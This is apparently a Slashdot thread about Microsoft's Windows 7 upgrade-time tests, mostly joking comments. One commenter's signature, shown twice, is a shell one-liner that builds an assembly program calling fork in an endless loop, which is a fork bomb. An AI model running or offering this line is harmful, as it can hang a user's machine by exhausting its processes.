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Windows 7 Upgrade Can Take Nearly a Day
Eugen writes "A Microsoft Software Engineer has posted the results of tests the company performed on the upgrade time of Windows 7. The metric used was total upgrade time across different user profiles (with different data set sizes and number of programs installed) and different hardware profiles. A clean 32-bit install on what Microsoft calls 'high-end hardware' should take only 30 minutes. In the worst case scenario, the process will take about 1220 minutes. That second extreme is not a typo: Microsoft really did time an upgrade that took 20 hours and 20 minutes. That's with 650GB of data and 40 applications, on mid-end hardware, and during a 32-bit upgrade. We don't even want to know how long it would take if Microsoft had bothered doing the same test with low-end hardware. The other interesting point worth noting is that the 32-bit upgrade is faster on a clean install than a 64-bit upgrade, regardless of the hardware configuration, and is faster on low-end hardware, regardless of the Data Profile. In the other six cases, the 64-bit upgrade is faster than the 32-bit upgrade."
Good going MS! Add a few hours to that and they might beat the time it took for a few people I know to upgrade Ubuntu!
when you consider the lifetime of misery that follows?
This reminds me of a funny bit from "The Three Stooges" that goes something like this:
Moe: I'll take this end ...and I'll take the end in the middle!
Larry: I'll take that end
Curly:
Just so you know, there isn't an "end" in the middle. There is "low-end" and "high-end" but there is no "mid-end." That would be medium level, mid-grade or average or something else.
Mid-end is almost as jarring to the grammar nodes of my brain as "incentivize."
.. the Windows 7 Drinking Game exists. Let's add:
* One shot every thirty minutes the install or upgrade process takes.
* One shot if you have to start over.
* Drain the bottle if it ATE YOUR GODDAMN DATA.
Any others to add?
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I bet you're the kind of person who goes to Burger King and orders 2 Whoppers Junior, aren't you?
Tic-Tac-Toe, Global Thermonuclear War, and relationships all have the same winning move.
You could never get laid ever again in your entire lifetime!
Actually this one was quite a realistic scenario ... let's try another one:
You could be eaten by a grue within the next minute!
"the process will take a bit 1220 minutes"
OMG, if the clean install is something like 4.8GB then that would be 4.13175854 * 10^10 bits, times 1220 minutes/bit equals 95 840 997.1 years!
-- Language is a virus from outer space.
I quite agree. I'm running build 16387 and it is very sta
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yep. http://xkcd.com/612/
Apparently so, but it did click "preview" and "submit" for him, so that's nice.
I built a 64-bit Vista box last year for gaming and it hasn't picked up lint. The reason? Everything other than gaming goes in an XP virtual machine. I've rolled back to the snapshot, applied patches, retaken the snapshot, and then reinstalled apps 3 times in the VM, but the main box has stayed minty fresh.
Huh... a reverse whoosh.
Or you just load the VM fullscreen at startup.
The boss is happy because he has the newest PC in the office AND everything is exactly as it was before, and you're happy because you didn't do any real work. win-win situation.
Uh how could XP Mode NOT run half of their crap? It IS Windows XP.
He's making a joke about grammar pendantry.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Mmmm... Dollar Menu Burger King Food Mass.
I vote for the "plain fucking stupid" option...
Windows 7 detects joke explanation. Engaging Automatic Sarcastic WOOSH Generation Service.
WOOOOOSH!
Sarcastic WOOSH generation complete. Automatically submitting "Preview" and "Submit" buttons.
$comment =~ s/($verb)\s+($noun)/IN SOVIET RUSSIA, $2 $1s YOU!/g;
Seriously, who here hasn't charted out the $ to calorie ratios of all the menu items at popular fast food chains? They even make it easier by putting the calorie listings on the back of the place mat at mcdonalds!
Seriously, who here hasn't charted out the $ to calorie ratios of all the menu items at popular fast food chains? They even make it easier by putting the calorie listings on the back of the place mat at mcdonalds!
It isn't worth it. The free sachets of mayo win every time.
Wow, Where do you get one of those 42,000 RPM drives?
At the store two blocks down the road. They are also having a special on a free zero with every purchase!
My 2.5-year-old Vista install is as quick and responsive as the day I installed it.
There are multiple ways I can take that...